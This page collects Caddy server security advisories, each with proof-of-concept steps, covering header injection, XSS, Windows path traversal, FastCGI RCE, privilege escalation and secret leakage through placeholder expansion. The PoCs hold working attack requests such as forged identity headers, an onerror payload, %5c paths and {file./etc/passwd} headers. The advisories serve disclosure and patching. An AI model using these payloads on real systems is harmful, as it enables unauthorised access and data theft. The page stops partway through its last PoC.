Where
-Infinity
0

Vendor Risk Score

See how caddyserver compares to other vendors in security performance

View Risk Score →
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.

Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.

The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.

The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.

In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.

Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.

swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.

swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.

1 / 8
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

forwardauth copyheaders deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through phpfastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with .

This lets a client send an underscore alias that survives the forwardauth delete step but becomes the same PHP/FastCGI variable:

text Remote-Groups -> HTTPREMOTEGROUPS RemoteGroups -> HTTPREMOTEGROUPS

Remote-User -> HTTPREMOTEUSER RemoteUser -> HTTPREMOTEUSER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forwardauth copyheaders intentionally removes client-controlled headers before setting values from the auth response:

- modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212 - modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

- modules/caddyhttp/headers/headers.go:255 - modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete RemoteGroups.

Later, FastCGI exports all request headers into CGI variables:

- modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410 - modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414 - modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

go strings.NewReplacer(" ", "", "-", "")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

bash set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX) mkdir -p "$tmpdir/www" printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO' package main

import ( "fmt" "log" "net" "net/http" "net/http/fcgi" )

func main() { go func() { mux := http.NewServeMux() mux.HandleFunc("/auth", func(w http.ResponseWriter, r http.Request) { w.Header().Set("Remote-User", "alice") w.WriteHeader(http.StatusNoContent) }) log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux)) }()

ln, err := net.Listen("tcp", "127.0.0.1:19010") if err != nil { log.Fatal(err) } log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "HTTPREMOTEUSER=%s\nHTTPREMOTEGROUPS=%s\n", r.Header.Get("Remote-User"), r.Header.Get("Remote-Groups")) }))) } GO

cat > "$tmpdir/Caddyfile" <<EOF { admin off autohttps off debug }

:9082 { log root $tmpdir/www forwardauth 127.0.0.1:19011 { uri /auth copyheaders Remote-User Remote-Groups } phpfastcgi 127.0.0.1:19010 } EOF

cleanup() { kill "${caddypid:-}" "${serverspid:-}" 2>/dev/null || true } trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 & serverspid=$!

for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 && (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then break fi sleep 0.25 done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 & caddypid=$!

for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then break fi sleep 0.25 done

curl --noproxy '' -v http://127.0.0.1:9082/index.php curl --noproxy '' -v -H 'RemoteGroups: admin' http://127.0.0.1:9082/index.php cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

text GET /index.php HTTP/1.1 < HTTP/1.1 200 OK

HTTPREMOTEUSER=alice HTTPREMOTEGROUPS=

With attacker header:

text GET /index.php HTTP/1.1 RemoteGroups: admin < HTTP/1.1 200 OK

HTTPREMOTEUSER=alice HTTPREMOTEGROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

text "HTTPREMOTEUSER": "alice" "HTTPREMOTEGROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

- forwardauth with copyheaders for identity or authorization headers; - phpfastcgi / FastCGI after the auth check; - a PHP/FastCGI application that trusts the resulting HTTP variables.

Impact examples:

- deterministic group/role injection when the auth gateway omits an optional header, e.g. RemoteGroups: admin becomes HTTPREMOTEGROUPS=admin; - probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and RemoteUser both map to HTTPREMOTEUSER.

Realistic examples include trusted-header SSO deployments such as Firefly III remoteuserguard using HTTPREMOTEUSER, or MediaWiki Authremoteuser using HTTPXAUTHENTIKUSERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

1 / 2
Source: GitHub
First published (updated )
Severity
4.2
XSS
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Summary Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

---

Details The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

go func (TemplateContext) funcStripHTML(s string) string { var buf bytes.Buffer var inTag, inQuotes bool var tagStart int for i, ch := range s { if inTag { if ch == '>' && !inQuotes { inTag = false } else if ch == '<' && !inQuotes { // false start buf.WriteString(s[tagStart:i]) tagStart = i } else if ch == '"' { inQuotes = !inQuotes } continue } if ch == '<' { inTag = true tagStart = i continue } buf.WriteRune(ch) } if inTag { // false start buf.WriteString(s[tagStart:]) } return buf.String() }

POC

Caddyfile setup

:8080 { root ./site fileserver templates }

Template file (index.html)

html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>StripHTML Bypass Test</title> </head> <body> <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p> </body> </html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/, but fileserver later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/.

Details

The mismatch is between two Caddy code paths:

- MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532. - If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271. - fileserver then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263. - On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / tryfiles glob path. This report does not use tryfiles or the file matcher; it affects ordinary path route matchers in front of direct fileserver serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

powershell $base = "C:\Users\Public\caddy-backslash-poc" Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force "$base\www\private" | Out-Null Set-Content -Path "$base\www\private\secret.txt" -Value "SECRETFROMWINDOWSLAB" -NoNewline -Encoding ASCII

@' { debug admin off autohttps off }

:19080 { log root C:\Users\Public\caddy-backslash-poc\www

@private path /private/ respond @private 403

fileserver } '@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

powershell cd C:\Users\Public\caddy-backslash-poc .\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

bash curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

text GET /private/secret.txt HTTP/1.1 < HTTP/1.1 403 Forbidden

Bypass request:

bash curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

text GET /private%5csecret.txt HTTP/1.1 < HTTP/1.1 200 OK < Content-Length: 23

SECRETFROMWINDOWSLAB

Uppercase %5C produces the same result.

Relevant debug log lines:

json {"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"} {"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403} {"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before fileserver.

This pattern is documented by Caddy itself, for example basicauth /secret/ { ... } followed by fileserver.

An attacker can read files that were intended to be protected by Caddy-side basicauth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before fileserver resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Caddy is an extensible server platform that uses TLS by default. From 2.4.0 until 2.11.3, the authorization layer and the /config traversal layer do not agree on what object the path refers to. In this case, a path authorized for one config object is accepted, but then resolves to a different config object during traversal. This happens because the authorization layer uses string prefix matching and the /config traversal layer parses array indices numerically using strconv.Atoi(). This vulnerability is fixed in 2.11.3.

1 / 2
Source: MITRE
First published (updated )
Severity
8.1
Input Validation
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured splitpath extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This function was adapted from FrankenPHP's code (see the source comment) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as GHSA-3g8v-8r37-cgjm (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.

Details

go var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func (t Transport) splitPos(path string) int { if len(t.SplitPath) == 0 { return 0 } pathLen := len(path) for , split := range t.SplitPath { splitLen := len(split) for i := range pathLen { if path[i] >= utf8.RuneSelf { if , end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break } if i+splitLen > pathLen { continue } match := true for j := range splitLen { c := path[i+j] if c >= utf8.RuneSelf { if , end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break // <-- flaw 1: 'match' is still true } if 'A' <= c && c <= 'Z' { c += 'a' - 'A' } if c != split[j] { match = false break } } if match { return i + splitLen } } } return -1 }

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case SplitPath entry against an arbitrary path. Provision() already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by splitpath). Caddyfile:

text :8080 { root /app/public phpfastcgi unix//run/php/php-fpm.sock }

Place attacker-controlled files in /app/public:

- /app/public/poc-match-unset.\xc2\xa1. — <?php echo "marker=flaw1\n"; - /app/public/poc-search-norm.𝗽𝗵𝗽 — <?php echo "marker=flaw2\n";

Trigger:

bash baseline (correctly NOT routed to PHP) curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger" curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"

flaw 1 — the .¡.txt file ends up as SCRIPTFILENAME curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"

flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPTFILENAME curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

A standalone reproducer of splitPos() in isolation (no Caddy build needed) is included in GHSA-3g8v-8r37-cgjm; the function in this module is the same logic, so the same payloads apply.

Impact

Comparable to the previous FastCGI splitpath issue (GHSA-g966-83w7-6w38 / CVE-2026-24895) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. SplitPath entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See fix/fastcgi-splitpos-unicode-bypass (commit 4ddad83c) for the implementation and regression tests.

Credit

Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending splitPos() function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.02%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

Caddy's forwardauth directive with copyheaders generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.

When an auth service returns 200 OK without one of the configured copyheaders headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.

This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.

---

Scope Argument

This is a bug in the source code of this repository, not a misconfiguration.

The operator uses forwardauth with copyheaders exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copyheaders entries must also be stripped manually. The forwardauth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copyheaders.

The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.

The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.

---

Affected Versions

| Version | Vulnerable | |---|---| | <= v2.9.x | No (old code overwrote client value with empty placeholder) | | v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 | | v2.10.1 | Yes | | v2.10.2 | Yes | | v2.11.0 | Yes | | v2.11.1 (February 23, 2026, current) | Yes — unpatched |

Package: github.com/caddyserver/caddy/v2 Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go

---

Root Cause

The parseCaddyfile function builds one route per copyheaders entry. Each route uses a MatchNot guard and a Set operation:

go // from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x) copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ MatcherSetsRaw: []caddy.ModuleMap{{ "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{ "vars": h.JSON(caddyhttp.VarsMatcher{ "{" + placeholderName + "}": []string{""}, }), }}}), }}, HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject( handler, "handler", "headers", nil, )}, })

The route runs only when {http.reverseproxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.

There is no Delete operation anywhere in this function.

---

Minimal Reproduction Config

Caddyfile (no redactions, as required):

{ admin off autohttps off debug }

:8080 { forwardauth 127.0.0.1:9091 { uri / copyheaders X-User-Id X-User-Role } reverseproxy 127.0.0.1:9092 }

---

Reproduction Steps

No containers, VMs, or external services are used. All services run as local processes.

Step 1 — Start the auth service

Save as auth.py and run python3 auth.py in a terminal:

python auth.py Accepts any Bearer token, returns 200 OK with NO identity headers. Represents a stateless JWT validator that checks signature only. import sys from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler): def doGET(self): auth = self.headers.get('Authorization', '') code = 200 if auth.startswith('Bearer ') else 401 self.sendresponse(code) self.endheaders() sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n') sys.stdout.flush() def logmessage(self, a): pass

HTTPServer(('127.0.0.1', 9091), H).serveforever()

Step 2 — Start the backend

Save as backend.py and run python3 backend.py in a second terminal:

python backend.py Echoes the identity headers it receives. import sys, json from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler): def doGET(self): data = { 'X-User-Id': self.headers.get('X-User-Id', '(absent)'), 'X-User-Role': self.headers.get('X-User-Role', '(absent)'), } body = json.dumps(data, indent=2).encode() self.sendresponse(200) self.sendheader('Content-Type', 'application/json') self.sendheader('Content-Length', str(len(body))) self.endheaders() self.wfile.write(body) sys.stdout.write(f'[backend] saw: {data}\n') sys.stdout.flush() def logmessage(self, a): pass

HTTPServer(('127.0.0.1', 9092), H).serveforever()

Step 3 — Start Caddy

bash caddy run --config Caddyfile --adapter caddyfile

Step 4 — Run the three test cases

Test A: No token — must be blocked (confirms auth is enforced)

bash curl -v http://127.0.0.1:8080/

Expected: HTTP/1.1 401

---

Test B: Valid token, no injected headers (baseline)

bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123"

Expected backend response: json { "X-User-Id": "(absent)", "X-User-Role": "(absent)" }

---

Test C: ATTACK — valid token plus injected identity headers

bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" \ -H "X-User-Id: admin" \ -H "X-User-Role: superadmin"

Actual backend response (demonstrates the vulnerability): json { "X-User-Id": "admin", "X-User-Role": "superadmin" }

The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.

Test C is the proof of the vulnerability.

The attack requires only a valid (non-privileged) token. No admin account is needed.

---

Full Debug Log

Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:

DEBUG http.handlers.reverseproxy selected upstream {"dial": "127.0.0.1:9091"} DEBUG http.handlers.reverseproxy upstream responded {"status": 200} DEBUG http.handlers.reverseproxy handling response {"handler": "copyheaders"}

Note that no log line will show a header deletion because no deletion occurs. The X-User-Id and X-User-Role headers are never touched.

---

Impact

Any deployment using forwardauth with copyheaders where the auth service validates credentials without returning identity headers in its response. This is common in:

- Stateless JWT validators (verify signature, no response headers) - Session validators that leave identity decoding to the backend - Auth services where only some requests return identity headers

Attack: 1. Attacker has any valid auth token 2. Attacker sends request with forged X-User-Id: admin and X-User-Role: superadmin 3. Auth service validates token, returns 200 OK, no identity headers 4. Caddy skips Set (placeholder empty), never deletes original headers 5. Backend receives X-User-Id: admin, X-User-Role: superadmin 6. Backend grants admin access

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 High

---

Working Patch

diff --- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go +++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go @@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error) copyHeaderRoutes := []caddyhttp.Route{} for , from := range sortedHeadersToCopy { to := http.CanonicalHeaderKey(headersToCopy[from]) placeholderName := "http.reverseproxy.header." + http.CanonicalHeaderKey(from) + + // Security fix: unconditionally delete the client-supplied header + // before the conditional set runs. Without this, a client that + // pre-supplies a header listed in copyheaders can inject arbitrary + // values when the auth service does not return that header, because + // the MatchNot guard below skips the Set entirely (leaving the + // original client value intact). + copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ + HandlersRaw: []json.RawMessage{ + caddyconfig.JSONModuleObject( + &headers.Handler{ + Request: &headers.HeaderOps{ + Delete: []string{to}, + }, + }, + "handler", "headers", nil, + ), + }, + }) + handler := &headers.Handler{ Request: &headers.HeaderOps{ Set: http.Header{

The delete route has no matcher, so it always runs. It fires before the existing MatchNot + Set route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent Set then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.

This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.

---

Uniqueness Confirmation

The following were checked and confirmed not to cover this vulnerability:

- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g - GitHub issue #7459 (malformed Host header) - GitHub issue #6610 (template placeholder leakage in copyheaders — fixed by PR #6608, which introduced this regression) - All Caddy community forum threads on forwardauth, copyheaders, and header stripping - CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy) - CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core) - PR #6608 comment thread (no security discussion) - cvedetails.com Caddy product listing (no matching CVE)

No prior report exists for this specific behavior.

---

References

- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go - PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608 - Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610 - forwardauth documentation: https://caddyserver.com/docs/caddyfile/directives/forwardauth

---

Fix Fix PR - https://github.com/caddyserver/caddy/pull/7545

---

AI Disclosure

An LLM was used to polish the report.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The varsregexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When varsregexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASEURL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

headerregexp does NOT do this — it passes header values straight to Match(). So this is a code-level inconsistency, not intended behavior.

Details

The bug is at modules/caddyhttp/vars.go, line 337 in MatchVarsRE.MatchWithError():

go valExpanded := repl.ReplaceAll(varStr, "") if match := val.Match(valExpanded, repl); match {

When the key is a placeholder like {http.request.header.X-Input}, repl.Get() resolves it to the raw header value (first expansion, line 318). Then repl.ReplaceAll() runs on that value again (second expansion, line 337), which evaluates any {env.}, {file.}, {system.} placeholders the user put in there.

For comparison, headerregexp (matchers.go:1129) and pathregexp (matchers.go:703) both pass values directly to Match() without this second expansion.

This repl.ReplaceAll() was added by PR #5408 to fix #5406 (varsregexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.

Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:

Config with both matchers on the same server: json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [{"path": ["/headerregexp"], "headerregexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}], "handle": [{"handler": "staticresponse", "body": "headerregexp: {http.regexp.hdr.0}"}] }, { "match": [{"path": ["/varsregexp"], "varsregexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}], "handle": [{"handler": "staticresponse", "body": "varsregexp: {http.regexp.var.0}"}] } ] } } } } }

$ export SECRET=supersecretvalue123

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/headerregexp headerregexp: {env.HOME} # literal string, safe

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/varsregexp varsregexp: /Users/test # expanded — env var leaked

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/headerregexp headerregexp: {env.SECRET} # literal string, safe

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/varsregexp varsregexp: supersecretvalue123 # secret leaked

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/headerregexp headerregexp: {file./etc/hosts} # literal string, safe

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/varsregexp varsregexp: ## # file contents leaked

PoC

Save this as config.json: json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [ { "varsregexp": { "{http.request.header.X-Input}": { "name": "leak", "pattern": ".+" } } } ], "handle": [ { "handler": "staticresponse", "body": "Result: {http.regexp.leak.0}" } ] }, { "handle": [ { "handler": "staticresponse", "body": "No match", "statuscode": "200" } ] } ] } } } } }

Start Caddy: bash export SECRETAPIKEY=sk-PRODUCTION-abcdef123456 caddy run --config config.json

Requests and output:

